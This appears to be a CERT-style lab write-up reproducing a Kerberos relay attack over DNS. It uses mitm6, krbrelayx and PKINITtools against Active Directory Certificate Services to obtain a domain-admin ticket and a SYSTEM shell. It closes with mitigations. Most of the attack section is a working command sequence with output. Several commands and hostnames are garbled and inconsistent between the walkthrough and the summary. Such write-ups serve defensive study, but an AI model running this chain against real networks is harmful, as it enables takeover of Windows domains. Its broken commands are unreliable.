Overview

Dirk-jan Mollema published a blog post that shows how an attacker on the same (V)LAN as a machine connected to an active directory where an AD CS server is present can obtain a kerberos ticket to impersonate a domain admin on the victim system: https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/

Using the steps outlined, an attacker can execute code with SYSTEM privileges on the victim system.
This post has some further details as to what's going on with this attack.

Components Used

Machines

Reproducing this vulnerability will take 4 machines:
**Software**

The following software should be present on the attacker's Linux box:

- https://github.com/dirkjanm/mitm6
- https://github.com/dirkjanm/krbrelayx
- https://github.com/dirkjanm/PKINITtools
- https://github.com/SecureAuthCorp/impacket

I used a CERT Tapioca VM as the attacker's machine, but that also required that I made sure that IPv6 was enabled, and also that the firewall was disabled on the WAN side:

```
sudo iptables -F
sudo iptables -P INPUT ACCEPT
```

**Hosts**

For the materials in this writeup, the following hosts/domain is used:

**Domain name:** wd.local

**Domain controller:** WIN-6ERMGJ5ECLO.wd.local (192.168.3.1)
**AD CS server:** adcs.wd.local (192.168.3.103)

**Victim (domain-joined) host:** win10.wd.local (192.168.3.108)

**Domain admin account:** Administrator@wd.local

**Attacker's system:** 192.168.3.100

---

The attack flow

The flow of events in this attack can be summarized in the following animation:

![Kerberos relaying with krbrelayx and mitm6](image)

---

Reproducing the attack

**Advertisement of malicious DNS server via mitm6**

*mitm6* is a utility that can leverage DHCPv6 to coerce a Windows host on an IPv4 network to use an arbitrary DNS server.
The victim machine asks the LAN if anybody is providing DHCPv6 for settings, including which DNS server to use:
And the machine running \texttt{mitm6} says to the victim that it should be used for DNS requests:

Handling of Dynamic Update from victim
When the victim system attempts to perform a DNS update, e.g. when it first powers on, \texttt{mitm6} will refuse the update:

```
root@ubuntu2004:~$ mitm6 --domain wd.local --host-allowlist win10.wd.local --relay ads.wd.local -v
Starting mitm6 using the following configuration:
Primary adapter: ens33 [00:0c:29:1c:75:8a]
IPv4 address: 192.168.3.100
IPv6 address: fe80::20c:29ff:fe1c:758a
DNS local search domain: wd.local
DNS allowlist: wd.local
Hostname allowlist: win10.wd.local
IPv6 address fe80::192:168:3:100 is now assigned to mac=00:0c:29:5f:4a:48 host=win10.wd.local.
.ipv4=192.168.3.100
Ignored query for v10.events.data.microsoft.com. from fe80::192:168:3:100
Sent SOA reply
Dynamic update found, refusing it to trigger auth
```
To deal with this refusal, the victim will talk to the domain controller to get a kerberos ticket so that it can try again with authority.

Capturing the kerberos ticket from the authenticated DNS dynamic update

Armed with the kerberos ticket for the victim machine, the victim begins a negotiation with the malicious DNS server to prove that it should be allowed to perform a DNS dynamic update.
At this point, `krbrelayx` comes into play. When the kerberos-authenticated DNS request comes in, `krbrelayx` notices and grabs the kerberos ticket:

```
$ Croot@ubuntu004:~/in/krbrelayx$ ./krbrelayx.py --target http://adcs.wd.local/certsrv/ --ip 192.168.3.100 --victim
win10.wd.local --adcs --template Machine
[*] Protocol Client LDAP loaded.
[*] Protocol Client LDAPS loaded.
[*] Protocol Client HTTPS loaded.
[*] Protocol Client SMB loaded.
[*] Running in attack mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] DNS: Client sent authorization
```

**Getting a machine account certificate using our kerberos ticket**

With a valid kerberos ticket in hand, the request to the AD CS server can be made into an authorized one:

```
[Full request URI: http://adcs.wd.local/certsrv/]
[HTTP request 2/4:]
[Prev request in frame: 638]
```

Because the AD CS server answers our request with an HTTP 200, we know that the authorization worked. So it's time to request a certificate:

```
[*] DNS: Client sent authorization
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
```
On the wire, it looks like this:

Once the AD CS server responds, the certificate is ready, and we can pick it up:

From the perspective of krbrelayx:

This certificate is for the win10.wd.local machine account.

Upgrading our machine account certificate to a domain admin account ticket on victim
We can now use `getgtpkinit.py` from `PKINITtools` to get a TGT using our `win10.wd.local` machine account certificate:

```
tapioca@ubuntu2004:~/PKINITtools$ python getgtpkinit.py -pfx base64 $(cat cert.txt) wd.local/win10$
win10.ccache -dc-ip 192.168.3.1
2022-02-24 18:45:24.236 minikerberos INFO Loading certificate and key from file
2022-02-24 18:45:24.355 minikerberos INFO Requesting TGT
2022-02-24 18:45:24.370 minikerberos INFO AS-REP encryption key (you might need this later):
9e94ee
2022-02-24 18:45:24.375 minikerberos INFO Saved TGT to file
```

Now with this TGT, saved as `win10.ccache`, we can go one step further to get a ticket for the domain admin account on the victim system, `win10.ccache Administrat or@wd.local`, which we save as `admin.ccache`.

```
tapioca@ubuntu2004:~/PKINITtools$ python gets4ticket.py kerberos-ccache://wd.local\win10\$:win10.ccache@WIN-6ERMGJISECLD.wd.local cifs\win10.wd.local@wd.local Administrator@wd.local.admin.ccache
tapioca@ubuntu2004:~/PKINITtools$
```

### Confirming our ticket

Now that we have what should be the domain administrator's kerberos ticket, let's try using it with the `smbclient.py` utility from `impacket`. Note that this strategy assumes that our victim system, `win10.wd.local`, has a network-accessible share.

```
tapioca@ubuntu2004:~/PKINITtools$ KRB5CCNAME=admin.ccache python ~/impacket/examples/smbclient.py -k wd.local/Administrator@win10.wd.local -no-pass
Type help for list of commands
# use C$
# cd windows\system32\config
# ls
drw-rw-rw-  0 Mon Aug 2 21:35:50 2021 ..
drw-rw-rw- 1048576 Tue Aug 25 20:01:26 2020 BBI
-drw-rw-rw-  528384 Tue Aug 25 20:01:33 2020 BBI.LOG1
-drw-rw-rw-  262144 Tue Aug 25 20:02:40 2020 BBI.LOG2
drw-rw-rw-  0 Tue Aug 25 20:22:28 2020 bbimigrate
```

We are able to view the contents of the protected `windows\system32\config` directory, which a normal user cannot do.

Along these same lines, we can use the same ticket to execute arbitrary code on the victim machine with `SYSTEM` privileges by using the `smbexec.py` script:

```
tapioca@ubuntu2004:~/PKINITtools$ KRB5CCNAME=admin.ccache python ~/impacket/examples/smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass
[!] Launching semi-interactive shell - Careful what you execute
C:\WINDOWS\system32>whoami
nt authority\system
```

### Summary of commands

Just to keep things together, and not in screenshot form, here are the commands that we used (in order) for our particular experiment:
```
# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local --v
# ./krbrelayx.py --target http://adcs.wd.local/certsrv/ --ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine

(Power on Win10 VM, or just wait if it's already on)
(Save certificate output as cert.txt)

$ python gettgtpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1
$ python gets4uticket.py kerberos+ccache://wd.local\win10\$:win10.ccache@WIN-6ERMGJ5ECLO.wd.local cifs/win10.wd.local/administrator@wd.local admin.ccache

$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py -k wd.local/Administrator@win10.wd.local -no-pass
$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass
```

### Full packet capture

While not the exact traffic used to obtain the above screenshots, a packet capture of this entire attack chain (and also some irrelevant traffic) is available here:

[krbrelayx_mitm6_full.pcapng](http://example.com)

Relevant hosts in this capture include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Role</th>
<th>IPv4</th>
<th>IPv6</th>
</tr>
</thead>
<tbody>
<tr>
<td>WIN-6ERMGJ5ECLO</td>
<td>Domain Controller</td>
<td>192.168.3.1</td>
<td>fe80::8914:c3e8:b7d9:ce8ae</td>
</tr>
<tr>
<td>ADCS</td>
<td>Active Directory Certificate Services</td>
<td>192.168.3.103</td>
<td>fe80::2531:5a7b:adb4:4ed5</td>
</tr>
<tr>
<td>tapioca</td>
<td>Attacker</td>
<td>192.168.3.100</td>
<td>fe80::20c:29ff:fe1c:758a</td>
</tr>
</tbody>
</table>

### Protecting against this attack

#### Enable Extended Protection for Authentication and Require SSL on AD CS systems

When CERT published [VU#405600](https://example.com) about the PetitPotam attack chain on AD CS, we recommended enabling **Extended Protection for Authentication (EPA)** for AD CS systems. If you had deployed this mitigation already, congratulations. You don’t have to worry about the attack described above.

#### Block DHCPv6 and ICMPv6 on networks that only use IPv4

If you have a network where IPv6 is **not** being used, blocking DHCPv6 and ICMPv6 on **all hosts** can be used to prevent the `mitm6` component of the above attack. With the Windows firewall, this involves setting the following rules to **block**:

- (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-In)
- (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
- (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-Out)